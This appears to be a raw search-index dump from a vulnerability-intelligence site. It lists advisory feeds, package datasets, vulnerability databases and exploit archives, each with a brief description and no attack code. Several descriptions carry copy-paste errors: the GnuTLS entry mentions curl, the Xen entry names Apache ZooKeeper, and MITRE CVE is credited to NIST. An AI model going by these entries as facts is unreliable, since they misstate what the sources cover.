existing container base images with default security measures that will include software signatures powered by Sigstore, provenance, and software bills of material (SBOM). Browse the chainguard index,{id:3264,title:3265,titles:3266,content:3267,level:542},/indices/open-source-security-advisories#curl-cves,Curl CVEs,266,228,Curl CVEs are official notifications released by the Curl open source project to address security vulnerabilities and updates in curl. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the curl index,{id:3269,title:3270,titles:3271,content:3272,level:542},/indices/open-source-security-advisories#debian-security-advisories,Debian Security Advisories,266,228,Debian Security Tracker - debian-security-tracker index is a service that provides information and updates on security vulnerabilities and issues affecting Debian packages and software. The Debian Security Tracker is a centralized repository for security-related information about Debian packages, including vulnerability reports, security advisories, and security updates. The tracker is designed to help users and administrators maintain the security of their Debian-based systems. Browse the debian index,{id:3274,title:3270,titles:3275,content:3276,level:542},/indices/open-source-security-advisories#debian-security-advisories-1,266,228,Debian DSA (Debian Security Advisory) - debian-dsa index is a series of security advisories published by the Debian Project, a non-profit organization that develops and distributes the Debian operating system. These advisories provide information and guidance on security vulnerabilities and issues affecting Debian packages and software. Browse the debian-dsa index,{id:3278,title:3279,titles:3280,content:3281,level:542},/indices/open-source-security-advisories#django-security-issues,Django Security Issues,266,228,Django security issues are official notifications released by the Django team to address security vulnerabilities and updates in their software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the django index,{id:3283,title:3284,titles:3285,content:3286,level:542},/indices/open-source-security-advisories#drupal-security-advisories,Drupal Security Advisories,266,228,Drupal security advisories are official notifications released by the Drupal Security Team to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the drupal index,{id:3288,title:3289,titles:3290,content:3291,level:542},/indices/open-source-security-advisories#fedora-security-advisories,Fedora Security Advisories,266,228,Fedora security advisories are official notifications released by Fedora to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the fedora index,{id:3293,title:3294,titles:3295,content:3296,level:542},/indices/open-source-security-advisories#freebsd-security-advisories,FreeBSD Security Advisories,266,228,FreeBSD security advisories are official notifications released by the FreeBSD security team to address security vulnerabilities and updates in the open source FreeBSD operating system. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the freebsd index,{id:3298,title:3299,titles:3300,content:3301,level:542},/indices/open-source-security-advisories#glibc-security-advisories,Glibc Security Advisories,266,228,Glibc is a set of official advisories released by the open source glibc project to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the glibc index,{id:3303,title:3304,titles:3305,content:3306,level:542},/indices/open-source-security-advisories#gnutls-security-advisories,GnuTLS Security Advisories,266,228,GnuTLS security advisories are official notifications released by the GnuTLS open source project to address security vulnerabilities and updates in curl. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the gnutls index,{id:3308,title:3309,titles:3310,content:3311,level:542},/indices/open-source-security-advisories#go-vulnerability-database,Go Vulnerability Database,266,228,Data about new vulnerabilities come directly from Go package maintainers or sources such as MITRE and GitHub. Reports are curated by the Go Security team. Browse the go-vulndb index,{id:3313,title:3314,titles:3315,content:3316,level:542},/indices/open-source-security-advisories#haskell-security-advisory-db,Haskell Security Advisory DB,266,228,The Haskell Security Advisory Database is a repository of security advisories filed against packages published via Hackage. Browse the haskell-sadb index,{id:3318,title:3319,titles:3320,content:3321,level:542},/indices/open-source-security-advisories#jenkins-security-advisories,Jenkins Security Advisories,266,228,Jenkins security advisories are official notifications released by Jenkins to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the jenkins index,{id:3323,title:3324,titles:3325,content:3326,level:542},/indices/open-source-security-advisories#kubernetes-security-issues,Kubernetes Security Issues,266,228,Kubernetes security issues are official notifications released by the Kubernetes Security Response Committee to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the kubernetes index,{id:3328,title:3329,titles:3330,content:3331,level:542},/indices/open-source-security-advisories#libre-office-security-advisories,Libre Office Security Advisories,266,228,Libre Office security advisories are official notifications released by the open source Libre Office project to address security vulnerabilities and updates in the open source Libre Office project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the libre-office index,{id:3333,title:3334,titles:3335,content:3336,level:542},/indices/open-source-security-advisories#linux-kernel-security-advisories,Linux Kernel Security Advisories,266,228,Linux kernel security advisories are official notifications released by the Linux security team to address security vulnerabilities and updates in the open source Linux operating system. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the linux index,{id:3338,title:3339,titles:3340,content:3341,level:542},/indices/open-source-security-advisories#mbed-tls-security-advisories,Mbed TLS Security Advisories,266,228,Mbed TLS security advisories are official notifications released by the open source Mbed TLS project to address security vulnerabilities and updates in the open source Mbed TLS project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the mbed-tls index,{id:3343,title:3344,titles:3345,content:3346,level:542},/indices/open-source-security-advisories#netatalk-security-advisories,Netatalk Security Advisories,266,228,Netatalk security advisories are official notifications released by the Netatalk team to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the netatalk index,{id:3348,title:3349,titles:3350,content:3351,level:542},/indices/open-source-security-advisories#nodejs-security-working-group-advisories,Node.js Security Working Group Advisories,266,228,Node.js security working group advisories are official notifications released by the Node.js Security Working Group to address security vulnerabilities and updates in the node and npm software ecosystems. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the node-security index,{id:3353,title:3354,titles:3355,content:3356,level:542},/indices/open-source-security-advisories#nodejs-security-advisories,NodeJS Security Advisories,266,228,NodeJS security release notices are official notifications released by NodeJS to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the nodejs index,{id:3358,title:3359,titles:3360,content:3361,level:542},/indices/open-source-security-advisories#ntp-security-issues,NTP Security Issues,266,228,NTP security issues are official notifications released by the NTP project to address security vulnerabilities and updates in the open source NTP project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the ntp index,{id:3363,title:3364,titles:3365,content:3366,level:542},/indices/open-source-security-advisories#openbsd-security-fixes,OpenBSD Security Fixes,266,228,OpenBSD security advisories are official notifications released by the OpenBSD security team to address security vulnerabilities and updates in the open source OpenBSD operating system. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the openbsd index,{id:3368,title:3369,titles:3370,content:3371,level:542},/indices/open-source-security-advisories#openssh-security-advisories,OpenSSH Security Advisories,266,228,OpenSSH security advisories are official notifications released by the OpenSSH security team to address security vulnerabilities and updates in the open source OpenSSH project. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the openssh index,{id:3373,title:3374,titles:3375,content:3376,level:542},/indices/open-source-security-advisories#openssl-security-advisories,OpenSSL Security Advisories,266,228,OpenSSL Security Advisories are official communications issued by the OpenSSL project, an open-source software library that provides cryptographic functions to protect communications over computer networks. These advisories are designed to provide information and guidance on potential security vulnerabilities and threats affecting OpenSSL software. OpenSSL Security Advisories typically include technical details about the vulnerability or issue, as well as recommended remediation and risk mitigation steps. They may also include severity ratings and CVSS scores to help organizations prioritize their response to potential security incidents. The OpenSSL security team works closely with the community to identify and address security concerns, and is committed to providing timely and effective security advisories to help protect user data and sensitive information. OpenSSL Security Advisories cover a wide range of topics, including vulnerabilities related to key management, cryptographic weaknesses, and protocol issues. By providing regular updates and guidance on potential security threats, OpenSSL helps to ensure the ongoing security and reliability of its software for its users. Additionally, OpenSSL encourages open and transparent collaboration with the community to help identify and address potential security concerns, making it an important component of secure communications infrastructure. Browse the openssl-secadv index,{id:3378,title:3379,titles:3380,content:3381,level:542},/indices/open-source-security-advisories#openstack-security-advisories,OpenStack Security Advisories,266,228,OpenStack security advisories are official notifications released by the open source OpenStack project to address security vulnerabilities and updates in the open source OpenStack project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the openstack index,{id:3383,title:3384,titles:3385,content:3386,level:542},/indices/open-source-security-advisories#openwrt-security-advisories,OpenWrt Security Advisories,266,228,OpenWRT security advisories are official notifications released by the OpenWRT team to address security vulnerabilities and updates in the open source OpenWRT operating system. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the openwrt index,{id:3388,title:3389,titles:3390,content:3391,level:542},/indices/open-source-security-advisories#phpmyadmin-security-advisories,phpMyAdmin Security Advisories,266,228,phpMyAdmin security advisories are official notifications released by phpMyAdmin to address security vulnerabilities and updates in their software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the php-my-admin index,{id:3393,title:3394,titles:3395,content:3396,level:542},/indices/open-source-security-advisories#postgressql-security-vulnerabilities,PostgresSQL Security Vulnerabilities,266,228,PostgresSQL security vulnerabilities are official notifications released by the open source PostgresSQL project to address security vulnerabilities and updates in the open source PostgresSQL project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the postgressql index,{id:3398,title:3399,titles:3400,content:3401,level:542},/indices/open-source-security-advisories#pypa-security-advisories,PyPA Security Advisories,266,228,The Python Package Advisories index holds community maintained collection of security advisories for PyPI packages. Browse the pypa-advisories index,{id:3403,title:3404,titles:3405,content:3406,level:542},/indices/open-source-security-advisories#rocky-linux-advisories,Rocky Linux Advisories,266,228,The Rocky Linux community and development team work diligently to identify and address vulnerabilities by providing regular security updates and advisories, helping to maintain a more secure environment for Rocky Linux users. Browse the rocky index,{id:3408,title:3409,titles:3410,content:3411,level:542},/indices/open-source-security-advisories#rocky-errata,Rocky Errata,266,228,Rocky Errata is a collection of official notifications released by Rocky Linux to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the rocky-errata index,{id:3413,title:3414,titles:3415,content:3416,level:542},/indices/open-source-security-advisories#rsync-security-advisories,Rsync Security Advisories,266,228,Rsync security advisories are official notifications released by the Rsync team to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the rsync index,{id:3418,title:3419,titles:3420,content:3421,level:542},/indices/open-source-security-advisories#rustsec-advisories,RustSec Advisories,266,228,RustSec Advisories are security advisories filed against crates published via crates.io and are maintained by the Rust Secure Code Working Group. Browse the rustsec-advisories index,{id:3423,title:3424,titles:3425,content:3426,level:542},/indices/open-source-security-advisories#samba-security-releases,Samba Security Releases,266,228,Samba security releases are official notifications released by the Samba open source project to address security vulnerabilities and updates in the open source Samba project. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the samba index,{id:3428,title:3429,titles:3430,content:3431,level:542},/indices/open-source-security-advisories#slackware-security-advisories,Slackware Security Advisories,266,228,Slackware security advisories are official notifications released by the open source Slackware project to address security vulnerabilities and updates in the open source Slackware project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the slackware index,{id:3433,title:3434,titles:3435,content:3436,level:542},/indices/open-source-security-advisories#solr-cve-reports,Solr CVE Reports,266,228,Solr cve reports are official notifications released by the open source Solr project to address vulnerabilities and updates in the open source Solr project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the solr index,{id:3438,title:3439,titles:3440,content:3441,level:542},/indices/open-source-security-advisories#sudo-security-advisories,Sudo Security Advisories,266,228,Sudo security advisories are official notifications released by the open source sudo project to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the sudo index,{id:3443,title:3444,titles:3445,content:3446,level:542},/indices/open-source-security-advisories#suse-security-advisories,SUSE Security Advisories,266,228,SUSE Security Advisories are official notifications from SUSE, a prominent open-source software company, that inform users about security vulnerabilities and provide guidance on mitigating risks in their Linux-based products and solutions. These advisories play a crucial role in helping SUSE users maintain the security and integrity of their systems. Browse the suse index,{id:3448,title:3449,titles:3450,content:3451,level:542},/indices/open-source-security-advisories#symfony-security-advisories,Symfony Security Advisories,266,228,Symfony security advisories are official notifications released by the open source Symfony project to address security vulnerabilities and updates in the open source Symfony project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the symfony index,{id:3453,title:3454,titles:3455,content:3456,level:542},/indices/open-source-security-advisories#ubuntu-security-notices,Ubuntu Security Notices,266,228,Ubuntu security advisories are official notifications released by Ubuntu to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the ubuntu index,{id:3458,title:3459,titles:3460,content:3461,level:542},/indices/open-source-security-advisories#wireshark-security-advisories,Wireshark Security Advisories,266,228,Wireshark security advisories are official notifications released by the open source Wireshark project to address security vulnerabilities and updates in the open source Wireshark project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the wireshark index,{id:3463,title:3464,titles:3465,content:3466,level:542},/indices/open-source-security-advisories#wolfi-security-advisories,Wolfi Security Advisories,266,228,Wolfi is a new community Linux undistribution that combines the best aspects of existing container base images with default security measures that will include software signatures powered by Sigstore, provenance, and software bills of material (SBOM). Browse the wolfi index,{id:3468,title:3469,titles:3470,content:3471,level:542},/indices/open-source-security-advisories#wordfence-vulnerabilities,Wordfence Vulnerabilities,266,228,Wordfence vulnerabilities are official notifications released by Wordfence to address security vulnerabilities and updates in open source WordPress plugins. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the wordfence index,{id:3473,title:3474,titles:3475,content:3476,level:542},/indices/open-source-security-advisories#xen-advisories,Xen Advisories,266,228,Xen advisories are official notifications released by the open source Xen project to address vulnerabilities and updates in the open source Apache ZooKeeper project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the xen index,{id:272,title:271,titles:3478,content:274,level:528},,{id:3480,title:228,titles:3481,content:724,level:174},/indices/open-source-package-managers#indices,271,{id:3483,title:3484,titles:3485,content:3486,level:542},/indices/open-source-package-managers#alpine-purls,Alpine Purls,271,228,Alpine purls is a collection of Alpine package purls with their associated versions and cves. Browse the alpine-purls index,{id:3488,title:3489,titles:3490,content:3491,level:542},/indices/open-source-package-managers#cargo-rust-packages-with-package-versions,Cargo (Rust) packages with package versions,271,228,Cargo (Rust) packages with package versions, associated licenses, and relevant CVEs Browse the cargo index,{id:3493,title:3494,titles:3495,content:3496,level:542},/indices/open-source-package-managers#cocoapods-packages-with-package-versions,CocoaPods packages with package versions,271,228,CocoaPods (Swift, Objective-C) packages with package versions, associated licenses, and relevant CVEs Browse the cocoapods index,{id:3498,title:3499,titles:3500,content:3501,level:542},/indices/open-source-package-managers#php-composer-packages-with-package-versions,PHP Composer packages with package versions,271,228,Composer (PHP) packages with package versions, associated licenses, and relevant CVEs Browse the composer index,{id:3503,title:3504,titles:3505,content:3506,level:542},/indices/open-source-package-managers#cc-packages-with-package-versions,C/C++ packages with package versions,271,228,Conan (C/C++) packages with package versions, associated licenses, and relevant CVEs Browse the conan index,{id:3508,title:3509,titles:3510,content:3511,level:542},/indices/open-source-package-managers#debian-packages,Debian Packages,271,228,Debian Packages contains a mapping of package names to known versions and associated CVE. The index contains packages for official releases of Debian from Stretch (Debian 9) and above. Browse the debian-packages index,{id:3513,title:3514,titles:3515,content:3516,level:542},/indices/open-source-package-managers#debian-purls,Debian PURLs,271,228,Debian PURLs is a collection of Debian PURLs and associated CVEs. The index contains PURL for official releases of Debian from Stretch (Debian 9) and above. Browse the debian-purls index,{id:3518,title:3519,titles:3520,content:3521,level:542},/indices/open-source-package-managers#ruby-gem-packages-with-package-versions,Ruby (gem) packages with package versions,271,228,Gem (Ruby) packages with package versions, associated licenses, and relevant CVEs Browse the gem index,{id:3523,title:3524,titles:3525,content:3526,level:542},/indices/open-source-package-managers#golang-packages-with-package-versions,Golang packages with package versions,271,228,Golang packages with package versions, associated licenses, and relevant CVEs Browse the golang index,{id:3528,title:3529,titles:3530,content:3531,level:542},/indices/open-source-package-managers#hackage-haskell-packages-with-package-versions,Hackage (Haskell) packages with package versions,271,228,Hackage (Haskell) packages with package versions, associated licenses, and relevant CVEs Browse the hackage index,{id:3533,title:3534,titles:3535,content:3536,level:542},/indices/open-source-package-managers#hex-erlang-packages-with-package-versions,Hex (Erlang) packages with package versions,271,228,Hex (Erlang, Elixir) packages with package versions, associated licenses, and relevant CVEs Browse the hex index,{id:3538,title:3539,titles:3540,content:3541,level:542},/indices/open-source-package-managers#maven-java-packages-with-package-versions,Maven (Java) packages with package versions,271,228,Maven (Java) packages with package versions, associated licenses, and relevant CVEs Browse the maven index,{id:3543,title:3544,titles:3545,content:3546,level:542},/indices/open-source-package-managers#npm-jsts-packages-with-package-versions,NPM (JS/TS) packages with package versions,271,228,NPM (Javascript, Typescript) packages with package versions, associated licenses, and relevant CVEs Browse the npm index,{id:3548,title:3549,titles:3550,content:3551,level:542},/indices/open-source-package-managers#nuget-cf-packages-with-package-versions,Nuget (C#/F#) packages with package versions,271,228,NuGet (.NET) packages with package versions, associated licenses, and relevant CVEs Browse the nuget index,{id:3553,title:3554,titles:3555,content:3556,level:542},/indices/open-source-package-managers#opam-ocaml-packages-with-package-versions,opam (OCaml) packages with package versions,271,228,opam (OCaml) packages with package versions, associated licenses, and relevant CVEs Browse the opam index,{id:3558,title:3559,titles:3560,content:3561,level:542},/indices/open-source-package-managers#pub-dartflutter-packages-with-package-versions,Pub (Dart/Flutter) packages with package versions,271,228,Pub is a package manager for Dart and Flutter apps Browse the pub index,{id:3563,title:3564,titles:3565,content:3566,level:542},/indices/open-source-package-managers#pypi-python-packages-with-package-versions,PyPi (Python) packages with package versions,271,228,PyPI (Python) packages with package versions, associated licenses, and relevant CVEs Browse the pypi index,{id:3568,title:3569,titles:3570,content:3571,level:542},/indices/open-source-package-managers#rocky-purls,Rocky Purls,271,228,Rocky purls is a collection of rocky package purls with their associated versions and cves. Browse the rocky-purls index,{id:3573,title:3574,titles:3575,content:3576,level:542},/indices/open-source-package-managers#swift-packages-with-package-versions,Swift packages with package versions,271,228,Swift packages with package versions, associated licenses, and relevant CVEs Browse the swift index,{id:277,title:276,titles:3578,content:279,level:528},,{id:3580,title:228,titles:3581,content:724,level:174},/indices/vulnerability-databases#indices,276,{id:3583,title:3584,titles:3585,content:3586,level:542},/indices/vulnerability-databases#cloudvulndb,CloudVulnDB,276,228,CloudVulnDB is a comprehensive and continuously updated database that focuses on cataloging security vulnerabilities specific to cloud services and environments. It provides detailed information about vulnerabilities, including their impact, severity, affected platforms, and recommended mitigation strategies. CloudVulnDB serves as a valuable resource for security professionals and organizations seeking to proactively identify and address vulnerabilities in their cloud infrastructure, enabling them to enhance their overall security posture. Browse the cloudvulndb index,{id:3588,title:3589,titles:3590,content:3591,level:542},/indices/vulnerability-databases#the-chinese-national-vulnerability-database,The Chinese National Vulnerability Database,276,228,The Chinese National Vulnerability Database is one of two national vulnerability databases of the People’s Republic of China. It is operated by the China Information Technology Security Evaluation Center, the 13th Bureau of China’s foreign intelligence service, the Ministry of State Security. Browse the cnnvd index,{id:3593,title:3594,titles:3595,content:3596,level:542},/indices/vulnerability-databases#github-security-advisories,Github Security Advisories,276,228,Github Security Advisories are official notifications released by Github to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the github-security-advisories index,{id:3598,title:3599,titles:3600,content:3601,level:542},/indices/vulnerability-databases#gitlab-advisory-database,GitLab Advisory Database,276,228,GitLab Advisories Community is a group of security researchers and professionals who collaborate to identify and report security vulnerabilities and issues affecting the GitLab software development platform. Browse the gitlab-advisories-community index,{id:3603,title:3604,titles:3605,content:3606,level:542},/indices/vulnerability-databases#mitre-cvelist-v5,MITRE CVEList V5,276,228,MITRE CVE is a collection of publicly disclosed cybersecurity vulnerabilities by NIST that aims to identify, define and catalog publicly disclosed cybersecurity vulnerabilities. Browse the mitre-cvelist-v5 index,{id:3608,title:461,titles:3609,content:3610,level:542},/indices/vulnerability-databases#nist-nvd-20,276,228,The National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) v2.0 is a comprehensive repository of security vulnerability data, including Common Vulnerabilities and Exposures (CVEs). It provides a variety of information on CVEs, such as their severity, impact, and remediation strategies. NVD v2.0 also provides a Common Vulnerability Scoring System (CVSS) v2.0 calculator, which allows users to calculate the severity of a CVE based on its specific characteristics. Browse the nist-nvd2 index,{id:3612,title:3613,titles:3614,content:3615,level:542},/indices/vulnerability-databases#the-open-cloud-vulnerability-security-issue-database,The Open Cloud Vulnerability & Security Issue Database,276,228,The Open Cloud Vulnerability & Security Issue Database are official notifications released to address security vulnerabilities and updates in all publicly known cloud vulnerabilities and CSP security issues. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the open-cvdb index,{id:3617,title:3618,titles:3619,content:3620,level:542},/indices/vulnerability-databases#open-source-vulnerabilities-database,Open Source Vulnerabilities Database,276,228,The Open Source Vulnerabilities Database is n open, precise, and distributed approach to producing and consuming vulnerability information for open source. Browse the osv index,{id:281,title:56,titles:3622,content:283,level:528},,{id:3624,title:228,titles:3625,content:724,level:174},/indices/vulnerability-intelligence#indices,56,{id:3627,title:3628,titles:3629,content:3630,level:542},/indices/vulnerability-intelligence#anchore-nvd-data-overrides,Anchore NVD Data Overrides,56,228,Anchore NVD Data Overrides is an index of data overrides for the NVD dataset curated by Anchore that provides additional data that might be missing from NVD. Browse the anchore-nvd-override index,{id:3632,title:3633,titles:3634,content:3635,level:542},/indices/vulnerability-intelligence#canvas-exploit-packs,CANVAS Exploit Packs,56,228,CANVAS Exploit Packs developed by Gleg are powerful tools used in penetration testing and vulnerability assessment. These exploit packs provide a comprehensive range of exploits and attack vectors to assess the security of computer systems and applications. Browse the canvas index,{id:3637,title:3638,titles:3639,content:3640,level:542},/indices/vulnerability-intelligence#cisa-kev-known-exploited-vulnerabilities,CISA KEV (Known Exploited Vulnerabilities),56,228,The CISA Known Exploited Vulnerabilities catalog contains a list of exploited vulnerabilities known to CISA. Browse the cisa-kev index,{id:3642,title:3643,titles:3644,content:3645,level:542},/indices/vulnerability-intelligence#common-weakness-enumeration-database,Common Weakness Enumeration Database,56,228,The MITRE Common Weakness Enumeration (CWE) is a community-developed list of common software security weaknesses. The CWE is maintained by the MITRE Corporation, a not-for-profit organization that operates federally funded research and development centers (FFRDCs) sponsored by the U.S. government. The CWE is a valuable resource for software developers, security professionals, and other stakeholders in the software industry. It provides a standardized way to identify and describe common software security weaknesses, which helps to improve the security of software systems and applications. Browse the cwe index,{id:3647,title:3648,titles:3649,content:3650,level:542},/indices/vulnerability-intelligence#emerging-threats-snort,Emerging Threats Snort,56,228,Proofpoints Emerging Threats Snort Rules are snort rules that can be used to monitor network traffic for malicious activity. Browse the emerging-threats-snort index,{id:3652,title:3653,titles:3654,content:3655,level:542},/indices/vulnerability-intelligence#epss-data,EPSS Data,56,228,The Exploit Prediction Scoring System (EPSS) is a data-driven effort for estimating the probability that a software vulnerability will be exploited in the wild. Browse the epss index,{id:3657,title:3658,titles:3659,content:3660,level:542},/indices/vulnerability-intelligence#the-exploit-database,The Exploit Database,56,228,The Exploit Database (ExploitDB) is an archive of public exploits curated by OffSec. Browse the exploitdb index,{id:3662,title:3663,titles:3664,content:3665,level:542},/indices/vulnerability-intelligence#gitee-exploits,Gitee Exploits,56,228,| Exploits hosted on Gitee Browse the gitee-exploits index,{id:3667,title:3668,titles:3669,content:3670,level:542},/indices/vulnerability-intelligence#github-exploits,GitHub Exploits,56,228,| Exploits hosted on GitHub Browse the github-exploits index,{id:3672,title:3673,titles:3674,content:3675,level:542},/indices/vulnerability-intelligence#gitlab-exploits,GitLab Exploits,56,228,| Exploits hosted on GitLab Browse the gitlab-exploits index,{id:3677,title:3678,titles:3679,content:3680,level:542},/indices/vulnerability-intelligence#project-zero-in-the-wild-exploits,Project Zero In the Wild Exploits,56,228,Project Zeros In the Wild Exploits exploits list are curated by Googles Project Zero team and tracks zero day exploits found in the wild. Browse the google-0day-itw index,{id:3682,title:3683,titles:3684,content:3685,level:542},/indices/vulnerability-intelligence#greynoise-metadata,GreyNoise Metadata,56,228,GreyNoise Metadata Advisories are a type of security advisory that provides information about metadata associated with various IP addresses, domains, and other internet-connected devices. Browse the greynoise-metadata index,{id:3687,title:3688,titles:3689,content:3690,level:542},/indices/vulnerability-intelligence#huawei-ips-vulnerabilities,Huawei IPS Vulnerabilities,56,228,Huawei IPS Vulnerabilities are official notifications released by Huawei to address security vulnerabilities caught by Huaweis Intrusion Prevention System. These vulnerability notifications provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the huawei-ips index,{id:3692,title:3032,titles:3693,content:3694,level:542},/indices/vulnerability-intelligence#japan-vulnerability-notes,56,228,JVN stands for \the Japan Vulnerability Notes.\ It is a vulnerability information portal site designed to help ensure Internet security by providing vulnerability information and their solutions for software products used in Japan. JVN is operated jointly by the JPCERT Coordination Center and the Information-technology Promotion Agency (IPA). Browse the jvn index,{id:3696,title:3697,titles:3698,content:3699,level:542},/indices/vulnerability-intelligence#metasploit-modules,Metasploit Modules,56,228,Metasploit Modules is a list of modules that can be utilized via the metasploit framework for pentesting. Browse the metasploit index,{id:3701,title:3702,titles:3703,content:3704,level:542},/indices/vulnerability-intelligence#misp-threat-actors,MISP Threat Actors,56,228,MISP Threat Actors is an open source list of known threat actors for the MISP (Malware Information Sharing Program) Open Source Threat Intelligence Sharing Platform. Browse the misp-threat-actors index,{id:3706,title:3707,titles:3708,content:3709,level:542},/indices/vulnerability-intelligence#nessus-plugins,Nessus Plugins,56,228,Nessus Plugins contains the list of plugins available for the Nessus Vulnerability Scanner and the associated CVE. Browse the nessus index,{id:3711,title:3712,titles:3713,content:3714,level:542},/indices/vulnerability-intelligence#qubes-security-bulletin,Qubes Security Bulletin,56,228,Qubes Security Bulletins are official notifications released by QubesOS to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the qubes-qsb index,{id:3716,title:3717,titles:3718,content:3719,level:542},/indices/vulnerability-intelligence#saint-exploits,SAINT Exploits,56,228,SAINT Exploits exploits list are advisories and contain vulnerability details that are curated by the SAINT Corporation. Browse the saint index,{id:3721,title:3722,titles:3723,content:3724,level:542},/indices/vulnerability-intelligence#security-lab-advisories,Security Lab Advisories,56,228,Security Lab Advisories are official notifications released by Positive Researchs Security Lab to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the securitylab index,{id:3726,title:3727,titles:3728,content:3729,level:542},/indices/vulnerability-intelligence#seebug-vulnerabilities,Seebug Vulnerabilities,56,228,Seebug Vulnerabilities is an archive of public exploits curated by Knownsec. Browse the seebug index,{id:3731,title:3732,titles:3733,content:3734,level:542},/indices/vulnerability-intelligence#shadowserver-foundation-vulnerabilities,Shadowserver Foundation Vulnerabilities,56,228,Shadowserver foundation vulnerabilities contain attack statistics. Vulnerabilities are ranked according to the frequency with which exploitation attempts are made against honeypots. Browse the shadowserver-exploited index,{id:3736,title:3737,titles:3738,content:3739,level:542},/indices/vulnerability-intelligence#shielder-advisories,Shielder Advisories,56,228,Shielder Advisories are official notifications released by Shielder to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the shielder index,{id:3741,title:3742,titles:3743,content:3744,level:542},/indices/vulnerability-intelligence#sigma-rules,Sigma Rules,56,228,Sigma Rules is a collection of rules where detection engineers, threat hunters and all defensive security practitioners collaborate on detection rules for SIEM systems. Browse the sigmahq-sigma-rules index,{id:3746,title:3747,titles:3748,content:3749,level:542},/indices/vulnerability-intelligence#tenable-research-advisories,Tenable Research Advisories,56,228,Tenable Research Advisories are official notifications released by Tenable to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the tenable-research-advisories index,{id:3751,title:3752,titles:3753,content:3754,level:542},/indices/vulnerability-intelligence#vapidlabs-vulnerabilities,VapidLabs Vulnerabilities,56,228,VapidLabs Vulnerabilities are advisories and contain vulnerability details along with exploits that are curated by Larry Cashdollar. Browse the vapidlabs index,{id:3756,title:3757,titles:3758,content:3759,level:542},/indices/vulnerability-intelligence#vulncheck-cpe-dictionary,VulnCheck CPE Dictionary,56,228,A dictionary of CPEs used in the construction of VCConfigurations. Browse the vc-cpe-dictionary 